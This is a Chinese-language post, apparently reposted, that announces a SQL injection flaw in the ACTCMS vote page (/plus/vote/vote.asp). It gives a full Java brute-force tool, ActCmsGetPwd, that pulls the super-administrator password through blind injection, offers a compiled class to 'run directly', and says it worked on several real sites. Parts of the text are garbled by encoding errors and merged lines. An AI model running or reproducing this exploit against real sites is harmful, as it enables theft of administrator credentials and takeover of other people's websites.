一款A(yù)SP的CMS程序,
ACTCMS注入漏洞漏洞預(yù)警
。用的人并不是太多。GOOGLE一下關(guān)鍵字“Copyright©2024 www.actcms.com” ,不是太多。
今天看了一下代碼。
基本上所有的參數(shù)全都被過濾掉了。。
不過投票那里出了點小問題。。
在/plus/vote/vote.asp頁面。
代碼如下:
ASP/Visual Basic代碼
....
if request("voted").count=0 then
response.write ""
response.end
end if
for i=1 to request("voted").count
actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
next
....
response.Redirect "index.asp?id="&id&""
id直接從request里面取的,不過因為前面是update ,再加上后面的response.redirect,利用起來比較麻煩。而且這是一個一般工具無法識別的注入點。因為無論我們構(gòu)造什么語句在后面,它都會跳到index.asp頁面。
唯一有變化的就是當(dāng)我們構(gòu)造的注入條件正確的時候,票數(shù)會增加。 手工利用起來相當(dāng)?shù)穆闊,試了現(xiàn)在的那些注入工具明小子,pangolin之類的也不能注入,所以我自己動手寫了一個簡單的程序 ,因為只會JAVA,所以就用JAVA寫了。。寫的比較粗糙。用的窮舉法,這樣寫著比較方便。速度慢就慢吧。
代碼如下:
Java代碼
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class ActCmsGetPwd {
public static char[] arr = { '0', '1', '2', '3', '4', '5', '6', '7', '8',
'9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',
'z' };
public static String siteurl = "";
public static int voteid = 1;
public static String charset = "";
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out
.println("usage:java ActCmsGetPwd System.out.println("siteurl:目標站點"); System.out.println("voteid:投票id"); System.out .println("totalVoteNum:當(dāng)前的投票人數(shù),請自行查看plus/vote/index.asp?id= System.out.println("charset:目標站點所用的ACTCMS的字符集,請自行查看網(wǎng)頁源代碼"); System.out.println("eg:java ActCmsGetPwd http://www.abc.com/ 1 15 gb2312"); return; } siteurl = args[0]; voteid = Integer.parseInt(args[1]); int preVoteNum = Integer.parseInt(args[2]); charset = args[3]; System.out.println("Code by Ninty , QQ 3191864"); System.out.print("password is :"); for (int i = 1; i <= 16; i++) { System.out.print(send(i, 0, preVoteNum)); preVoteNum++; } System.out.println("\nDone!"); } public static char send(int a, int b, int preVoteNum) throws Exception { String sql = "%20and%20(select%20top%201%20mid(password," + a + ",1)%20from%20admin_act%20where%20supertf%20=1)%20=%20'" + arr[b] + "'"; URL u = new URL(siteurl + "/Plus/vote/vote.asp?dopost=send&id="+voteid+"&ismore=0&voted=3" + sql); URLConnection conn = u.openConnection(); BufferedReader reader = new BufferedReader(new InputStreamReader(conn .getInputStream(),charset)); String str = reader.readLine(); while (str != null) { if (str.indexOf(" 投票人數(shù):") != -1) { break; } str = reader.readLine(); } reader.close(); if (!isRight(str, preVoteNum)) { return send(a, ++b, preVoteNum); } else { return arr[b]; } } public static boolean isRight(String str, int preVoteNum) { if (str == null) { System.out.println("無法讀。"); System.exit(0); } Pattern pat = Pattern.compile("人數(shù):(\\d+)"); Matcher mat = pat.matcher(str); if (mat.find()) { int num = Integer.parseInt(mat.group(1)); if (num != preVoteNum) { return true; } } return false; } }
下面是已經(jīng)編譯好的 class文件,編譯環(huán)境JDK6,
電腦資料
《ACTCMS注入漏洞漏洞預(yù)警》(http://clearvueentertainment.com)。直接運行就好。
actcmsgetpwd.class
在網(wǎng)上找了幾個站測試了一下,都可以得到超級管理員的密碼,不過官網(wǎng)好像不存在這個漏洞。